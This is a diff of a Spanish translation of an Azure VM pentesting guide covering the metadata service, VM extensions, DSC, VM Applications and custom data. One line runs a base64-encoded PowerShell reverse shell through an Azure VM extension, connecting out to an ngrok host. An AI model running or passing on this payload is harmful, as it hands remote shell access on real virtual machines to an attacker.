El Servicio de Metadatos de Instancia de Azure (IMDS) **proporciona información sobre las instancias de máquinas virtuales en ejecución** para ayudar con su gestión y configuración. Ofrece detalles como el SKU, almacenamiento, configuraciones de red e información sobre eventos de mantenimiento próximos a través de **REST API disponible en la dirección IP no enrutable 169.254.169.254**, que es accesible solo desde dentro de la VM. La comunicación entre la VM y el IMDS se mantiene dentro del host, asegurando un acceso seguro. Al consultar el IMDS, los clientes HTTP dentro de la VM deben evitar los proxies web para asegurar una comunicación adecuada.
|
||||
|
||||
Además, para contactar el punto final de metadatos, la solicitud HTTP debe tener el encabezado **`Metadata: true`** y no debe tener el encabezado **`X-Forwarded-For`**.
|
||||
|
||||
@@ -509,7 +509,7 @@ az vm extension set \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
- Ejecutar shell inverso desde archivo
|
||||
- Ejecutar shell inverso desde un archivo
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
@@ -549,7 +549,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
<summary>DesiredStateConfiguration (DSC)</summary>
|
||||
|
||||
Esta es una **extensión de VM** que pertenece a Microsoft y que utiliza PowerShell DSC para gestionar la configuración de las VMs de Windows en Azure. Por lo tanto, se puede utilizar para **ejecutar comandos arbitrarios** en las VMs de Windows a través de esta extensión:
|
||||
```powershell
|
||||
@@ -601,13 +601,13 @@ Set-AzVMDscExtension `
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Trabajador de Runbook Híbrido</summary>
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
|
||||
Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [servicio de Cuentas de Automatización](../az-automation-account/).
|
||||
Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [Automation Accounts service](../az-automation-account/index.html).
|
||||
|
||||
</details>
|
||||
|
||||
### Aplicaciones de VM
|
||||
### VM Applications
|
||||
|
||||
Estos son paquetes con todos los **datos de la aplicación y scripts de instalación y desinstalación** que se pueden usar para agregar y eliminar fácilmente aplicaciones en VMs.
|
||||
```bash
|
||||
@@ -721,7 +721,7 @@ az vm application set \
|
||||
|
||||
### Datos del usuario
|
||||
|
||||
Estos son **datos persistentes** que se pueden recuperar del punto final de metadatos en cualquier momento. Tenga en cuenta que en Azure, los datos del usuario son diferentes de AWS y GCP porque **si coloca un script aquí, no se ejecuta por defecto**.
|
||||
Estos son **datos persistentes** que se pueden recuperar del endpoint de metadatos en cualquier momento. Tenga en cuenta que en Azure los datos del usuario son diferentes de AWS y GCP porque **si coloca un script aquí, no se ejecuta por defecto**.
|
||||
|
||||
### Datos personalizados
|
||||
|
||||
@@ -731,7 +731,7 @@ Es posible pasar algunos datos a la VM que se almacenarán en rutas esperadas:
|
||||
- En **Linux**, se almacenaba en `/var/lib/waagent/ovf-env.xml` y ahora se almacena en `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Agente de Linux**: No procesa datos personalizados por defecto, se necesita una imagen personalizada con los datos habilitados.
|
||||
- **cloud-init:** Por defecto, procesa datos personalizados y estos datos pueden estar en [**varios formatos**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Podría ejecutar un script fácilmente enviando solo el script en los datos personalizados.
|
||||
- Intenté que tanto Ubuntu como Debian ejecutaran el script que colocas aquí.
|
||||
- Intenté que tanto Ubuntu como Debian ejecutaran el script que colocó aquí.
|
||||
- También no es necesario habilitar los datos del usuario para que esto se ejecute.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
Reference in New Issue
Block a user